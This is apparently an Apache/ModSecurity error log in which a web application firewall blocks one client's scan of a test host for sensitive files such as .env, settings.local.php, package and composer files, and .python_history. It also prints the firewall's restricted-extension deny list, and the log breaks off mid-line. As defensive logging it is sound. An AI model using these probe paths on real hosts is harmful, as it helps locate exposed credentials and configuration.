[Sun Mar 01 20:25:45.043925 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/sites/default/settings.local.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /sites/default/settings.local.php found within REQUEST_FILENAME: /sites/default/settings.local.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/default/settings.local.php&quot;] [unique_id &quot;aaSSuTbFttlEB3wQCxmfwQAAAAQ&quot;]
[Sun Mar 01 20:25:45.044197 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/default/settings.local.php&quot;] [unique_id &quot;aaSSuTbFttlEB3wQCxmfwQAAAAQ&quot;]
[Sun Mar 01 20:25:45.044375 2026] [:error] [pid 2413494] [client 185.177.72.30:53212] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/default/settings.local.php&quot;] [unique_id &quot;aaSSuTbFttlEB3wQCxmfwQAAAAQ&quot;]
[Sun Mar 01 20:25:45.437422 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/composer.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aaSSuXR69CYXzb6lY2m0wwAAAAc&quot;]
[Sun Mar 01 20:25:45.437682 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aaSSuXR69CYXzb6lY2m0wwAAAAc&quot;]
[Sun Mar 01 20:25:45.437845 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aaSSuXR69CYXzb6lY2m0wwAAAAc&quot;]
[Sun Mar 01 20:25:45.460158 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/composer.lock&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /composer.lock found within REQUEST_FILENAME: /composer.lock&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;aaSSuXR69CYXzb6lY2m0xAAAAAc&quot;]
[Sun Mar 01 20:25:45.460418 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;aaSSuXR69CYXzb6lY2m0xAAAAAc&quot;]
[Sun Mar 01 20:25:45.460614 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;aaSSuXR69CYXzb6lY2m0xAAAAAc&quot;]
[Sun Mar 01 20:25:45.665627 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.python_history&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .python_history found within REQUEST_FILENAME: /.python_history&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.python_history&quot;] [unique_id &quot;aaSSuXR69CYXzb6lY2m0zQAAAAc&quot;]
[Sun Mar 01 20:25:45.665881 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.python_history&quot;] [unique_id &quot;aaSSuXR69CYXzb6lY2m0zQAAAAc&quot;]
[Sun Mar 01 20:25:45.666047 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.python_history&quot;] [unique_id &quot;aaSSuXR69CYXzb6lY2m0zQAAAAc&quot;]
[Sun Mar 01 20:25:45.802574 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.cfg&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/setup.cfg&quot;] [unique_id &quot;aaSSuXR69CYXzb6lY2m00wAAAAc&quot;]
[Sun Mar 01 20:25:45.803051 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/setup.cfg&quot;] [unique_id &quot;aaSSuXR69CYXzb6lY2m00wAAAAc&quot;]
[Sun Mar 01 20:25:45.803225 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/setup.cfg&quot;] [unique_id &quot;aaSSuXR69CYXzb6lY2m00wAAAAc&quot;]
[Sun Mar 01 20:25:45.825465 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.py&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.py&quot;] [unique_id &quot;aaSSuXR69CYXzb6lY2m01AAAAAc&quot;]
[Sun Mar 01 20:25:45.825828 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.py&quot;] [unique_id &quot;aaSSuXR69CYXzb6lY2m01AAAAAc&quot;]
[Sun Mar 01 20:25:45.826074 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.py&quot;] [unique_id &quot;aaSSuXR69CYXzb6lY2m01AAAAAc&quot;]
[Sun Mar 01 20:25:45.871055 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/package.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /package.json found within REQUEST_FILENAME: /package.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;aaSSuXR69CYXzb6lY2m01gAAAAc&quot;]
[Sun Mar 01 20:25:45.871309 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;aaSSuXR69CYXzb6lY2m01gAAAAc&quot;]
[Sun Mar 01 20:25:45.871485 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;aaSSuXR69CYXzb6lY2m01gAAAAc&quot;]
[Sun Mar 01 20:25:45.893641 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/package-lock.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /package-lock.json found within REQUEST_FILENAME: /package-lock.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package-lock.json&quot;] [unique_id &quot;aaSSuXR69CYXzb6lY2m01wAAAAc&quot;]
[Sun Mar 01 20:25:45.893882 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package-lock.json&quot;] [unique_id &quot;aaSSuXR69CYXzb6lY2m01wAAAAc&quot;]
[Sun Mar 01 20:25:45.894039 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package-lock.json&quot;] [unique_id &quot;aaSSuXR69CYXzb6lY2m01wAAAAc&quot;]
[Sun Mar 01 20:25:45.916131 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/yarn.lock&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /yarn.lock found within REQUEST_FILENAME: /yarn.lock&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn.lock&quot;] [unique_id &quot;aaSSuXR69CYXzb6lY2m02AAAAAc&quot;]
[Sun Mar 01 20:25:45.916407 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn.lock&quot;] [unique_id &quot;aaSSuXR69CYXzb6lY2m02AAAAAc&quot;]
[Sun Mar 01 20:25:45.916596 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/yarn.lock&quot;] [unique_id &quot;aaSSuXR69CYXzb6lY2m02AAAAAc&quot;]
[Sun Mar 01 20:25:45.938377 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/npm-debug.log&quot;] [unique_id &quot;aaSSuXR69CYXzb6lY2m02QAAAAc&quot;]
[Sun Mar 01 20:25:45.938666 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/npm-debug.log&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /npm-debug.log found within REQUEST_FILENAME: /npm-debug.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/npm-debug.log&quot;] [unique_id &quot;aaSSuXR69CYXzb6lY2m02QAAAAc&quot;]
[Sun Mar 01 20:25:45.938897 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/npm-debug.log&quot;] [unique_id &quot;aaSSuXR69CYXzb6lY2m02QAAAAc&quot;]
[Sun Mar 01 20:25:45.939062 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/npm-debug.log&quot;] [unique_id &quot;aaSSuXR69CYXzb6lY2m02QAAAAc&quot;]
[Sun Mar 01 20:25:46.054950 2026] [:error] [pid 2408731] [client 185.177.72.30:53228] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;/tsconfig.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /tsconfig.json found within REQUEST_FILENAME: /tsconfig.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname 